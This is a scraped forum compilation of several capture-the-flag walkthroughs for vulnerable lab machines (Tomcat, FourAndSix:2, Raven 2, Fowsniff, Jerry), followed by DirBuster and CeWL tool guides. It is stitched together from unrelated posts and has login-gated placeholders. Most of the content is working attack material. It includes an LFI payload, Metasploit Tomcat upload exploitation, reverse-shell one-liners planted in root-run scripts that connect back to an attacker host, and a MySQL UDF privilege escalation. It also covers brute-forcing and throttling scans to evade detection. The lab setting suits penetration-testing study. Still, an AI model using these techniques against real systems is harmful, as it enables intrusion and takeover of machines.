Since port 80 is filtered we cannot directly browse the Target IP in the Browser. Further, we notice that port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1. and here we got a clue as an entry /tryharder/tryharder in robot.txt as it might come in handy later on.
So we browse the Target IP on port 8080 on the browser. WOW!! at the end of the web page you notice a path “/etc/tomcat7/tomcat-users.xml” where user-related information is defined.
[Image: 3.png?w=687&ssl=1]

Hmmm!! On browsing through the discovered entry /tryharder/tryharder, it gave us a base64 encoded string.
Clearly! we need to decode it to move ahead.
[Image: 5.png?w=687&ssl=1]

On decoding the base64 string we found some Login Credentials which can be of great use later on.
[Image: 6.png?w=687&ssl=1]

Since port 445 is open on the Target Machine, We thought of enumerating it using enum4linux tool.
enum4linux

[To see content please register here]

1
enum4linux

[To see content please register here]

It gave us a few shared folders which can be further used to connect via smbclient.
[Image: 7.png?w=687&ssl=1]

Now connecting via smbclient using credentials “qiu: password”.
smbclient \\\\192.168.1.105\\qiu -U qiu
1
smbclient \\\\192.168.1.105\\qiu -U qiu
Further exploring through directories we have downloaded the config file on our Linux Desktop.
[Image: 8.png?w=687&ssl=1]

Reading the contents of the config file gave us a sequence of ports to knock which will result in opening the http port 80.
cat config
1
cat config
[Image: 9.png?w=687&ssl=1]

Knocking the sequence of ports using the following command:
knock 192.168.1.105 159 27391 4
nmap 192.168.1.105
1
2
knock 192.168.1.105 159 27391 4
nmap 192.168.1.105
Now from nmap scan, we confirmed that http port 80 got open after knocking.
[Image: 10.png?w=687&ssl=1]

Since port 80 got open, we browsed the Target IP on the browser which displayed the message as you can see in the image, which came out to be useless to further proceed towards our goal.
[Image: 11.png?w=687&ssl=1]

Now we thought of enumerating for accessible directories on the Target Machine.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

While browsing robots.txt file in the browser gave us two disallowed hidden directories as shown in the image.
[Image: 13.png?w=687&ssl=1]

Browsing through the directory 192.168.1.105/nomercy in the browser opened a vulnerability scanner webpage whose banner RIPS 0.53 left us curious to search more about it.
[Image: 14.png?w=687&ssl=1]

Then while we search RIPS 0.53 over searchsploit, it came out to be a Multiple Local File Inclusions Exploit. Next, we copied the exploit over our Linux Desktop and read the text file. Here we also copied the one-liner /windows/code.php?file=../../../../../../etc/passwd.
searchsploit rips 0.53
1
searchsploit rips 0.53
[Image: 15.png?w=687&ssl=1]

We used LFI to take a look at the content of the passwd file as it was shown in the POC.
192.168.1.105/nomercy/windows/code.php?file=../../../../../../etc/passwd
1
192.168.1.105/nomercy/windows/code.php?file=../../../../../../etc/passwd
[Image: 16.png?w=687&ssl=1]

Since we know there is a tomcat service running on the target system we can take a look the tomcat-users.xml file using LFI that will provide us with the username and password, exploring it on browser gave us two Login Credentials for Tomcat Server as shown on the image.
[Image: 17.png?w=687&ssl=1]

Logging into Tomcat server using Metasploit’s Tomcat Manager using the following credentials “thisisasuperduperlonguser:heartbreakisinevitable”
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.105
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername thisisasuperduperlonguser
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword heartbreakisinevitable
msf exploit(multi/http/tomcat_mgr_upload) > exploit
1
2
3
4
5
6
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.105
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername thisisasuperduperlonguser
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword heartbreakisinevitable
msf exploit(multi/http/tomcat_mgr_upload) > exploit
Now using a one-liner to spawn a tty shell:
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
Further logging in as user fluffy.
su fluffy
Password: freakishfluffybunny
1
2
su fluffy
Password: freakishfluffybunny
[Image: 18.png?w=687&ssl=1]

While traversing /home/fluffy/.private/secrets I notice a script “timeclock” to write the current date to /var/www/html/time that was owned by root and has FULL Permission.
cd /home
ls
cd fluffy
ls -la
cd .private
ls -la
cd secrets
1
2
3
4
5
6
7
cd /home
ls
cd fluffy
ls -la
cd .private
ls -la
cd secrets
Since the script will run every three-minute after, so we decide to edit this file by inserting our malicious code in it.
[Image: 19.png?w=687&ssl=1]

Moving on!! We need to create a bash code using Msfvenom:
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
1
msfvenom –p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
[Image: 20.png?w=687&ssl=1]

After that append the above-generated code in the timeclock file.
echo "mkfifo /tmpmzlat; nc 192.168.1.109 8888 0</tmp/zlat | /bin/sh >/tmp/zlat 2>&1; rm /tmp/zlat" >>timclock
1
echo "mkfifo /tmpmzlat; nc 192.168.1.109 8888 0</tmp/zlat | /bin/sh >/tmp/zlat 2>&1; rm /tmp/zlat" >>timclock
[Image: 21.png?w=687&ssl=1]

Since the malicious code got executed with the timeclock file. Therefore we got a reverse shell on our netcat listener. To spawn the shell we have used python bin bash one-liner.
python -c 'import pty; pty.spawn("/bin/bash")'
1
python -c 'import pty; pty.spawn("/bin/bash")'
Booyah!! We have got the root access and found proof.txt. We take a look at the content of the file and greeted with a congratulatory message.
[Image: 22.png?w=687&ssl=1]

FourAndSix: 2 is the sequel for previously solved vulnerable machine FourAndSix by Fred uploaded on vulnhub. It is not mandatory but is advised to read the prequel of this lab

[To see content please register here]

. You can download the FourAndSix:2 vulnerable lab from

[To see content please register here]

. The challenge is to become root and read flag.txt in the same directory.
Table of Contents:

Discovery of IP address.
Scanning for open ports and services.
Discovering universally accessible directory in the victim’s machine.
Cracking the password of archive found in the storage partition.
Reading the pub file and logging in using ssh.
Discovering utilities with sticky bit on them.
Using doas to get root.
Snagging the flag!
Let’s get started then.

The first step is, as usual, to find the IP of the target machine using netdiscover. In this case, it is 192.168.1.103
[Image: 1.png?w=687&ssl=1]

Next, we discover open ports and services using nmap.

nmap -A 192.168.1.103
1
nmap -A 192.168.1.103
The ports open were 22, 111, 2049.
[Image: 2.png?w=687&ssl=1]

There was only one way to proceed and that is port 2049. So, we used showmount command to check for NFS shared partitions.
Later, we mounted it under the folder name “raj” using the mount command. And we found a 7z compressed file.
showmount -e 192.168.1.103
mount -t nfs 192.168.1.103:/home/user/storage raj
1
2
showmount -e 192.168.1.103
mount -t nfs 192.168.1.103:/home/user/storage raj
[Image: 3.png?w=687&ssl=1]

But the file “backup.7z” was, unfortunately, password protected.
[Image: 4.png?w=687&ssl=1]

So, after trying out a number of options like John The Ripper and getting zero success, we found a site online to break its password.
The password was: chocolate
[Image: 5.png?w=687&ssl=1]

We extracted its contents in the same folder and found a few images along with RSA keys. As port 22 is running SSH service on the target machine, we can use RSA private key to login. We open RSA public key to taking a look at the username.
cat id_rsa.pub
1
cat id_rsa.pub
[Image: 6.png?w=687&ssl=1]

We tried logging in to ssh but it was asking for a passphrase. So, we created the following script to find the correct password.
cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen –c –C "user@forandsix" –P $pass –f id_rsa &>/dev/null; then echo $pass; break; fi; done
1
cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen –c –C "user@forandsix" –P $pass –f id_rsa &>/dev/null; then echo $pass; break; fi; done
[Image: 8.png?w=687&ssl=1]

From the id_rsa.pub file, we found the user for the secure shell of the victim and logged in to it. The password was: “12345678”.
ssh -i id_rsa [email protected]
1
ssh -i id_rsa [email protected]
We used the find utility to discover files or packages with SUID bit set on them.
find / -perm –u=s –type f 2>/dev/null
1
find / -perm –u=s –type f 2>/dev/null
We found an interesting utility with SUID bit: /usr/bin/doas which is an alternate to sudo.
After reading the “doas.conf” file, we find that “less” can be run as root.
[Image: 9.png?w=687&ssl=1]

Let’s pick the configuration file and try to understand it word by word. Doas utility executes commands as other users according to the rules in doas.conf configuration file.
Permit/Deny: allows the rule.
Nopass: the user is not required to enter any password.
Persist: After the user successfully authenticates, do not ask for a password again for some time.
Keepenv: The user’s environment is maintained.
Cmd: command is allowed to run.
Since doas configuration file says that less can be run with no password at all as root with no password, it can be used for shell escaping.
doas /usr/bin/less /var/log/authlog
1
doas /usr/bin/less /var/log/authlog
[Image: 10.png?w=687&ssl=1]

Enter v to escape to vi and then “:!sh” to escape to our brand new shell.
[Image: 11.png?w=687&ssl=1]

The final step was to snag the flag! It was in the root directory as told by the creator of the VM.
id shows that the shell is root shell and finally we read the congratulatory flag using cat!
[Image: 12.png?w=687&ssl=1]

So this was how we root the FourAndSix:2. Hope you liked it.

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Raven 2. It is the sequel to previously solved Raven. Raven 2 is a Beginner/Intermediate boot2root machine. The goal is to snag 4 flags and get the root on target VM.
Table of Contents:

Port scanning and IP discovery.
Hitting on port 80 and the discovery of WordPress CMS.
Directory enumeration to find a directory “vendor.”
Discovering a file PATH to snag flag 1.
Discovering a file VERSION to snag the PHP version.
Exploiting RCE in PHP version 5.2.6
Making local changes in the exploit code for the successful delivery of the payload.
Getting a netcat shell using the uploaded payload.
Snagging flag 2 in /var/www
Reading database password from the wp-config file.
Running LinEnum.sh to enumerate processes.
Exploiting UDF dynamic library vulnerability using an exploit with codename 1518.c on exploit-db
Setting sticky bit on the find.
Getting root access.
Snagging flag4 in /root
Manually traversing system to find flag3.

Let’s get started then!
Discovering the active devices on a network using netdiscover and getting the IP address of our victim machine. In this case, the IP address holds 192.168.1.101
[Image: 1.png?w=687&ssl=1]

Using nmap on the victim machine we got three ports open 22,80 and 111
nmap -A 192.168.1.101
1
nmap -A 192.168.1.101
[Image: 2.png?w=687&ssl=1]

So we instantly moved to port 80 and discovered a website of Raven Security.
[Image: 3.png?w=687&ssl=1]

We thought it would be wise to run a directory test before we scan anything else. So we ran a directory buster test to find the “vendor” directory in the victim machine.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Accessing /vendor the following files and folders came out.
[Image: 5.png?w=687&ssl=1]

Among them, a file called PATH caught our attention since it is no ordinary name. So we opened it in the browser only to find flag1!
[Image: 6.png?w=687&ssl=1]

There was yet another file worth noting called VERSION. On opening it we found the version of something. It was unclear which software had version 5.2.6 but look at the previous screen again… A file exists called: PHPMailerAutoload.php. It is fairly certain now that version 5.2.6 was of PHPMailer. So, on a bit of internet surfing, we found an RCE exploit for the version!
[Image: 7.png?w=687&ssl=1]

Now we downloaded this python file but don’t run it yet! There are some changes to be made which are highlighted in the screen below.

A coding: utf-8 tag is to be added at the top.
Set the target of vulnerability to 192.168.1.101/contact.php where this vulnerability exists (read PHPMailer’s function).
Set the backdoor’s name. Let it be backdoor.php for now.
Set the local IP in the Subprocess call.
And finally, the location to upload the backdoor in.

Now run this python script and wait for the success message.
[Image: 9.png?w=687&ssl=1]

Activate a netcat listener on port 443. It is because the backdoor gives a connection on port 443 as written in the python code (Subprocess call).
[Image: 10.png?w=687&ssl=1]

Upon opening the location of backdoor we immediately got a shell!
Now we imported a proper teletype by using the python one-liner and manually traversed to /var/www only to discover flag2!
python –c 'import pty;pty.spawn("/bin/bash")'
cd /var/www
cat flag2.txt
1
2
3
python –c 'import pty;pty.spawn("/bin/bash")'
cd /var/www
cat flag2.txt
Now we thought of checking the WordPress directory as we did in the prequel Raven 1.
cd html
cd wordpress
cat wp-config.php
1
2
3
cd html
cd wordpress
cat wp-config.php
We found the root database password! It was “R@v3nSecurity”
[Image: 11.png?w=687&ssl=1]

Then we changed the active directory to /tmp and imported LinEnum.sh, a script to enumerate many of the basic and advanced Linux details.
It was hosted in a folder on our local machine and was imported into the victim machine using wget command.
My local IP address was 192.168.1.109 in this case.
cd /tmp
wget

[To see content please register here]

chmod 777 LinEnum.sh
./LinEnum.sh
1
2
3
4
cd /tmp
wget

[To see content please register here]

chmod 777 LinEnum.sh
./LinEnum.sh
[Image: 12.0.png?w=687&ssl=1]

We found a MySQL-Exploit-Remote-Root-Code-Execution-Privesc vulnerability! (FOR MORE INFO:

[To see content please register here]

)

So, we searched for a UDF dynamic library exploit and it was named “1518.c” in the exploit database.

[To see content please register here]

The exploits run by compiling the raw C code to “.so” file and then transferring it to the victim machine and exploiting MySQL vulnerability.
The first step was to compile it.
searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
1
2
searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
[Image: 12.png?w=687&ssl=1]

And hence, we transferred this “.so” file in the /tmp directory in the victim’s machine.
wget

[To see content please register here]

chmod 777 1518.so
1
2
wget

[To see content please register here]

chmod 777 1518.so
[Image: 12.png?w=687&ssl=1]

Now we logged in to the MySQL interface.
mysql -u root -p
1
mysql -u root -p
<entered password>
After getting a MySQL shell, we started exploiting it using the vulnerability we just found
use mysql;
1
use mysql;
Now, we created a table called “foo”
In this table, we inserted the link to 1518.so file we just imported from the local machine to /tmp directory.
We dumped the same file to /usr/lib/mysql/plugin/ directory (since it was vulnerable)
In the most important step, we created a UDF function named do_system, that will invoke the code that implements the function.
Hence, we are invoking the code “chmod u+s /usr/bin/find” to set the sticky bit on “find”
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
1
2
3
4
5
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
[Image: 13.png?w=687&ssl=1]

Now we traversed back to the directory /tmp and executed commands using the find utility.
touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
cd /root
ls
cat flag4.txt
1
2
3
4
5
6
touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
cd /root
ls
cat flag4.txt
[Image: 14.png?w=687&ssl=1]

The only flag left to find was flag3.txt. You can do this with find utility but we had a bit of luck and found it manually!
It was lying in /var/www/html/wp-content/uploads/2018/11
We copied it in /var/www/html using cp.
[Image: 15.png?w=687&ssl=1]

Since it was a png file we had to view it on the browser.
[Image: 16.png?w=687&ssl=1]

Hence, this is how we rooted Raven 2 and snagged all four flags! Hope you liked it!

Hello friends! Today we are going to take another boot2root challenge known as Fowsniff. The credit for making this VM machine goes to “berzerk0” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download this VM

[To see content please register here]

.
Security Level: Beginner
Flags: There is one flag (flag.txt).
Table of Contents:

Port scanning and IP discovery.
Hitting on port 80
Finding hashes on Pastebin
Decoding hashes
Brute force pop3 login
Connecting to pop3
Finding SSH username and password
Finding privilege escalation vectors
Exploiting Misconfiguration in system
Getting root access.
Reading the flags.

Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our target –> 192.168.1.29
Our next step is to scan our target with nmap.
nmap -A -p- -T4 192.168.1.29
1
nmap -A -p- -T4 192.168.1.29
[Image: 2.png?w=687&ssl=1]

The NMAP output shows us that there are 4 ports open: 22(SSH), 80(HTTP), 110(POP3), 143(IMAP)
We find that port 80 is running http, so we open the IP in our browser.
[Image: 3.png?w=687&ssl=1]

We don’t find anything on the webpage. Dirb scan and Nikto also didn’t reveal anything, so we googled “fowsniff corp” and found a Pastebin link that contained username and passwords. (You can find the link

[To see content please register here]

)

We cracked the hashes use this

[To see content please register here]

and find passwords to the respective email addresses. But only 8 hashes were cracked and there are 9 usernames.
[Image: 5.png?w=687&ssl=1]

So we create two wordlists one for username and one for passwords, we will use this to brute force pop3 login.
[Image: 6.png?w=687&ssl=1]

We use Metasploit-framework to brute force pop3 login. After running the brute forcing pop3 login we find the correct credentials to be “seina Confused

coobydoo2”.
msf > use auxiliary/scanner/pop3/pop3_login
msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29
msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt
msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt
msf auxiliary(scanner/pop3/pop3_login) > set verbose false
msf auxiliary(scanner/pop3/pop3_login) > run
1
2
3
4
5
6
msf > use auxiliary/scanner/pop3/pop3_login
msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29
msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt
msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt
msf auxiliary(scanner/pop3/pop3_login) > set verbose false
msf auxiliary(scanner/pop3/pop3_login) > run
[Image: 7.png?w=687&ssl=1]

We connect to pop3 service on the target server and login using the credentials we retrieved. After logging in we list the messages and find there are 2 messages.
nc 192.168.1.29 110
user seina
pass scoobydoo2
list
1
2
3
4
nc 192.168.1.29 110
user seina
pass scoobydoo2
list
[Image: 8.png?w=687&ssl=1]

We retrieved the 1st message and find that it contains the password to connect through SSH.
retr 1
1
retr 1
[Image: 9.png?w=687&ssl=1]

We retrieved the second message and find a message that hints that use the username “baksteen”.
retr 2
1
retr 2
[Image: 10.png?w=687&ssl=1]

We use the credentials “baksteen:S1ck3nBluff+secureshell” to login through SSH.
ssh [email protected]
1
ssh [email protected]
[Image: 11.png?w=687&ssl=1]

After gaining access we enumerate the system, as user “baksteen” belongs to two different groups. We use to try to find files that belong to the “users” group and find a file called “cube.sh”.
find / -group users -type f 2>/dev/null
1
find / -group users -type f 2>/dev/null
[Image: 12.png?w=687&ssl=1]

We take a look at the content of the file and find it contains the message that comes once we login through SSH.
cd /opt/cube
cat cube.sh
1
2
cd /opt/cube
cat cube.sh
[Image: 13.png?w=687&ssl=1]

We open the file with vim and add python reverse shell one-liner in the file.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[Image: 14.png?w=687&ssl=1]

We try to run it and find it gives an error “python: command is not found”. We try to locate Python and find it contains python3.
[Image: 15.png?w=687&ssl=1]

So we make changes to the exploit we change the python reverse shell one-liner. We replace python with python3.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[Image: 16.png?w=687&ssl=1]

As when we login through SSH we get a banner similar to the one that “cube.sh” contains. So we check “/etc/update-motd.d/” directory to look for executables that might run this program and find that file “00-header” runs this shell script.
[Image: 17.1.png?w=687&ssl=1]

So now we exit the SSH and set up our listener using netcat, then we again connect through SSH. So that our reverse shell gets executed.
ssh [email protected]
1
ssh [email protected]
[Image: 17.png?w=687&ssl=1]

As soon as we successfully login, we get a reverse shell as root user on our netcat listener. We go to the root directory and find the file called “flag.txt”. We take a look at the content of the file and find the congratulatory message.
nc -lvp 1234
id
cd /root
cat flag.txt
1
2
3
4
nc -lvp 1234
id
cd /root
cat flag.txt
[Image: 18.png?w=687&ssl=1]

[Guide] Comprehensive Guide on Dirbuster Tool

Posted by: NINZA - 05-14-2020, 10:02 AM - Forum: Carders Home - No Replies

In this article, we are focusing on the transient directory using Kali Linux tool Dibuster and trying to find hidden files and directories within a web server.
Table of Content

What is DirBuster
Default Mode
GET Request Method
Pure Brute Force (Numeric)
Single Sweep (Non-recursive)
Targeted Start
Blank Extensions
Search by File Type (.txt)
Changing the DIR List
Following Redirects
Attack Through Proxy
Adding File Extensions
Evading Detective Measures (Requests Per Second)

What is DirBuster
DirBuster is an application within the Kali arsenal that is designed to brute force web and application servers. The tool can brute force directories and files. The application lets users take advantage of multi-thread functionality to get things moving faster. In this article, we will give you an overview of the tool and its basic functions.
Default Mode
We start DirBuster and only input

[To see content please register here]

in the target URL field. Leave the rest of the options as they are. DirBuster will now auto switch between HEAD and GET requests to perform a list based brute force attack.
[Image: 1.png?w=687&ssl=1]

Let’s hit Start. DirBuster gets to work and starts brute forcing and we see various files and directories popping up in the result window.
[Image: 2.png?w=687&ssl=1]

GET Request Method
We will now set DirBuster to only use the GET request method. To make things go a little faster, the thread count is set to 200 and the “Go Faster” checkbox is checked.
[Image: 3.png?w=687&ssl=1]

In the Results – Tree View we can see findings.
[Image: 4.png?w=687&ssl=1]

Pure Brute Force (Numeric)
DirBuo performs step allows a lot of control over the attack process, in this set we will be using only numerals to perform a pure brute force attack. This is done by selecting “Pure Brute Force” in the scanning type option and selecting “0-9” in the charset drop-down menu. By default, the minimum and maximum character limit are set.
[Image: 5.png?w=687&ssl=1]

In the Results – Tree View we can see findings.
[Image: 6.png?w=687&ssl=1]

Single Sweep (Non-recursive)
We will now perform a single sweep brute force where the dictionary words are used only once. To achieve this, we will unselect the “Be Recursive” checkbox.
[Image: 7.png?w=687&ssl=1]

In the Results – ListView we can see findings.
[Image: 8.png?w=687&ssl=1]

Targeted Start
Further exploring the control options provided by DirBuster, we will set it up to start looking from the “admin” directory. In the “Dir to start with” field, type “/admin” and hit start.
[Image: 9.png?w=687&ssl=1]

In the Results – Tree View we can see findings.
[Image: 10.png?w=687&ssl=1]

Blank Extensions
DirBuster can also look into directories with a blank extension, this could potentially uncover data that might be otherwise left untouched. All we do is check the “Use Blank Extension” checkbox.
[Image: 11.png?w=687&ssl=1]

We can see the processing happen and DirBuster testing to find directories with blank extensions.
[Image: 12.png?w=687&ssl=1]

Search by File Type (.txt)
We will be setting the file extension type to .txt, by doing so, DirBuster will look specifically for files with a .txt extension. Type “.txt” in the File extension field and hit start.
[Image: 13.png?w=687&ssl=1]

We can see the processing happen and DirBuster testing to find directories with a .txt extension.
[Image: 14.png?w=687&ssl=1]

Changing the DIR List
We will now be changing the directory list in DirBuster. Options > Advanced Options > DirBuster Options > Dir list to use. Here is where we can browse and change the list to “directory-list-2.3-medium.txt”, found at /usr/share/dirbuster/wordlists/ in Kali.
[Image: 15.png?w=687&ssl=1]

We can see the word list is now set.
[Image: 16.png?w=687&ssl=1]

Following Redirects
DirBuster by default is not set to follow redirects during the attack, but we can enable this option under Options > Follow Redirects.
[Image: 17.1.png?w=687&ssl=1]

We can see the results in the scan information as the test progresses.
[Image: 17.png?w=687&ssl=1]

Results in the Tree View.
[Image: 18.png?w=687&ssl=1]

Attack through Proxy
DirBuster can also attack using a proxy. In this scenario, we try to open a webpage at 192.168.1.108 but are denied access.
[Image: 21.png?w=687&ssl=1]

We set the IP in DirBuster as the attack target.
[Image: 22.png?w=687&ssl=1]

Before we start the attack, we set up the proxy option under Options > Advance Options > Http Options. Here we check the “Run through a proxy” checkbox, input the IP 192.168.1.108 in the Host field and set the port to 3129.
[Image: 23.png?w=687&ssl=1]

We can see the test showing results.
[Image: 24.png?w=687&ssl=1]

Adding File Extensions
Some file extensions are not set to be searched for in DirBuster, mostly image formats. We can add these to be searched for by navigating to Options > Advanced Options > HTML Parsing Options.
[Image: 25.png?w=687&ssl=1]

We will delete jpeg in this instance and click OK.
[Image: 26.png?w=687&ssl=1]

In the File Extension filed we will type in “jpeg” to explicitly tell DirBuster to look for .jpeg format files.
[Image: 27.png?w=687&ssl=1]

We can see in the testing process, DirBuster is looking for and finding jpeg files.
[Image: 28.png?w=687&ssl=1]

Evading Detective Measures
Exceeding the warranted requests per second during an attack is a sure shot way to get flagged by any kind of detective measures put into place. DirBuster lets us control the requests per second to bypass this defense. Options > Advanced Options > Scan Options is where we can enable this setting.
[Image: 29.png?w=687&ssl=1]

We are setting Connection Time Out to 500, checking the Limit number of requests per second and setting that field to 20.
[Image: 30.png?w=687&ssl=1]

Once the test initiated, we will see the results. The scan was stopped to show the initial findings.
[Image: 31.png?w=687&ssl=1]

Once the scan is complete the actual findings can be seen.
[Image: 32.png?w=687&ssl=1]

We hope you enjoy using this tool. It is a great tool that’s a must in a pentester’s arsenal.
Stay tuned for more articles on the latest and greatest in hacking.

Hello CTF Crackers!! Today we are going to capture the flag on a Challenge named as “Jerry” which is available online for those who want to increase their skill in penetration testing and black box testing. Jerry is a retired vulnerable lab presented by ‘

[To see content please register here]

’ for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to expert level.
Level: Easy
Flags: There are two flags. (user.txt & root.txt)
IP Address: 10.10.10.95
Penetrating Methodologies

Port scanning and IP discovery
Browsing the IP on port 8080
Enumerating served webpage
Getting Login Credentials
Attacking using Metasploit
Getting root Access
Reading the flags

Walkthrough
Since these labs are available online via VPN therefore, they have a static IP Address. The IP Address of Jerry is 10.10.10.95
Let’s start off with scanning the network to find our target
nmap -sV 10.10.10.95
1
nmap -sV 10.10.10.95
[Image: 1.png?w=687&ssl=1]

So here, we notice very interesting result from nmap scan, it shows port 8080 is open for Apache Tomcat/ Coyote JSP Engine 1.1
Next order of business is to browse the IP on a Web Browser.
[Image: 2.png?w=687&ssl=1]

On opening the IP on the Web Browser, we are greeted with the default TomCat page. After some enumeration here and there, we found the “Manager App” Link. Upon clicking this link, we are struck with a Login Form as shown below.
[Image: 3.png?w=687&ssl=1]

Here, after some tweaking with some passwords and other stuff, we found that clicking on “Cancel” Button triggers a 401 Error as shown in the image.
[Image: 4.png?w=687&ssl=1]

After closely reading the example on the webpage provided, we got the Login Credentials.
User: tomcat
Password: s3cret
1
2
User: tomcat
Password: s3cret
Its time to attack, using the Swiss knife of any penetration tester – “Metasploit”.
After doing some research and some tries, it was clear that we can use the tomcat_mgr_upload exploit.
So, let’s do this:
msf> use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.95
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret
msf exploit(multi/http/tomcat_mgr_upload) > exploit
1
2
3
4
5
6
msf> use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost 10.10.10.95
msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret
msf exploit(multi/http/tomcat_mgr_upload) > exploit
As shown in the image provided below, the exploit runs successfully and gives a meterpreter session with elevated privileges.
We traverse through the Directories to get flag using commands like “ls” and “cd”
[Image: 5.png?w=687&ssl=1]

After a little bit of enumeration, we get to the C:\Users directory. Here we come across the Administrator directory so we traverse to that directory. And the further we traverse to the Desktop directory.
This gives us the flags directory, which on opening gives us a text file named 2 for the price of 1. On opening, we get both the user and the root password.
[Image: 6.png?w=687&ssl=1]

Hello Friends!! In this article, we are focusing on Generating Wordlist using Kali Linux tool Cewl and learn more about its available options.
Table of Content

Introduction to Cewl
Default Method
Save Wordlist in a file
Generating Wordlist of Specific Length
Retrieving Emails from a Website
Count the number of Word Repeated in a website
Increase the Depth to Spider
Extra Debug Information
Verbose Mode
Generating Alpha-Numeric
Cewl with Digest/Basic Authentication
Proxy URL

Introduction to Cewl
CeWL is a ruby app which spiders a given URL to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper. CeWL also has an associated command line app, FAB (Files Already Bagged) which uses the same metadata extraction techniques to create author/creator lists from already downloaded.
Source:

[To see content please register here]

Type “cewl -h” in the terminal, it will dump all the available options it accepts along with their respective description.
SYNTAX: cewl <url> [options]
General Options
-h, –help: Show help.
-k, –keep: Keep the downloaded file.
-d <x>,–depth <x>: Depth to spider to, default 2.
-m, –min_word_length: Minimum word length, default 3.
-o, –offsite: Let the spider visit other sites.
-w, –write: Write the output to the file.
-u, –ua <agent>: User agent to send.
-n, –no-words: Don’t output the wordlist.
–with-numbers: Accept words with numbers in as well as just letters
-a, –meta: include meta data.
–meta_file file: Output file for Meta data.
-e, –email: Include email addresses.
–email_file <file>: Output file for email addresses.
–meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
-c, –count: Show the count for each word found.
-v, –verbose: Verbose.
–debug: Extra debug information
Authentication
–auth_type: Digest or basic.
–auth_user: Authentication username.
–auth_pass: Authentication password.
Proxy Support
–proxy_host: Proxy host.
–proxy_port: Proxy port, default 8080.
–proxy_username: Username for proxy, if required.
–proxy_password: Password for proxy, if required.
[Image: 1.png?w=687&ssl=1]

Default Method
Enter the following command which spiders the given URL to a specified depth and prints a list of words which can then be used as a dictionary for cracking the password.
cewl

[To see content please register here]

1
cewl

[To see content please register here]

Save Wordlist in a file
For the purpose of the record maintenance, better readability, and future references, we save the print list of the word onto a file. To this we will use the parameter -w to save the output in a text file.
cewl

[To see content please register here]

-w dict.txt
1
cewl

[To see content please register here]

-w dict.txt
Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file on not. In this case, our location for output is /root /dict.txt.
cat dict.txt
1
cat dict.txt
[Image: 3.png?w=687&ssl=1]

Generating Wordlist of Specific Length
If you want to generate a wordlist of a specific word length then use -m option as it enables minimum words to limit parameter.
cewl

[To see content please register here]

-m 9
